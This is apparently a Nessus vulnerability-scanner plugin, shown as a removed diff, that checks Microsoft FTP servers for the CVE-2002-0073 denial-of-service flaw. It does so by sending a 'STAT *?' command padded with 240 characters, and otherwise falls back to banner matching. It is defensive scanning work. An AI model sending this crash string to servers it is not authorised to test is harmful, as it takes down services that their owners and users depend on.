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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # Thanks to: H D Moore
- #
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10934);
- script_bugtraq_id(4482);
- script_cve_id("CVE-2002-0073");
- if(defined_func("script_xref"))script_xref(name:"IAVA", value:"2002-A-0002");
-
- script_version ("$Revision: 1.20 $");
-
- name["english"] = string("MS FTPd DoS");
-
- script_name(english:name["english"]);
-
- desc["english"] = "
- It was possible to make the remote FTP server crash
- by sending the command 'STAT *?AAAAA....AAAAA'
-
- There is a bug in certain versions of Microsoft FTP server
- which can be exploited in this fashion. In addition, other
- FTP servers may react adversely to such a string.
-
- An attacker may use this flaw to prevent your FTP server
- from working properly
-
-
- Solution : see http://www.microsoft.com/technet/security/bulletin/ms02-018.mspx
-
- CAVEAT: If your FTP server is not a Microsoft product, then contact your FTP
- vendor for a patch.
-
- Risk factor : Medium";
-
- script_description(english:desc["english"]);
-
-
- script_summary(english:"Checks if the remote ftp can be crashed",
- francais:"DΘtermine si le serveur ftp peut Ωtre plantΘ");
- script_category(ACT_MIXED_ATTACK);
- script_family(english:"FTP");
- script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
-
- script_dependencies("find_service.nes", "ftp_anonymous.nasl", "iis_asp_overflow.nasl");
- script_require_ports("Services/ftp", 21);
- exit(0);
- }
-
- #
- # The script code starts here :
- #
-
- include("ftp_func.inc");
-
-
- if ( get_kb_item("Q319733") ) exit(0);
-
- port = get_kb_item("Services/ftp");
- if(!port)port = 21;
-
- if(! get_port_state(port)) exit(0);
-
-
- if(!safe_checks())
- {
- login = get_kb_item("ftp/login");
- password = get_kb_item("ftp/password");
- if(login)
- {
- # Connect to the FTP server
- soc = open_sock_tcp(port);
- if(soc)
- {
- if(ftp_log_in(socket:soc, user:login, pass:password))
- {
- # We are in
- c = string("STAT *?", crap(240), "\r\n");
- send(socket:soc, data:c);
- b = ftp_recv_line(socket:soc);
- send(socket:soc, data:string("HELP\r\n"));
- r = ftp_recv_line(socket:soc);
- if(!r)security_warning(port);
- else {
- ftp_close(socket: soc);
- }
- exit(0);
- }
- }
- }
- }
-
- banner = get_ftp_banner(port: port);
- if(banner)
- {
- if(egrep(pattern:".*Microsoft FTP Service.*[45]\.0.*$",string:banner))
- {
- report =
- string("It may be possible to make the remote FTP server crash\n",
- "by sending the command 'STAT *?AAA...AAA.\n\n",
- "An attacker may use this flaw to prevent your site from distributing files\n\n",
- "*** Warning : we could not verify this vulnerability.\n",
- "*** Nessus solely relied on the banner of this server\n\n",
- "Solution : Apply the relevant hotfix from Microsoft\n\n",
- "See:http://www.microsoft.com/technet/security/bulletin/ms02-018.mspx\n\n",
- "Risk factor : Medium");
- security_warning(port:port, data:report);
- }
- }
-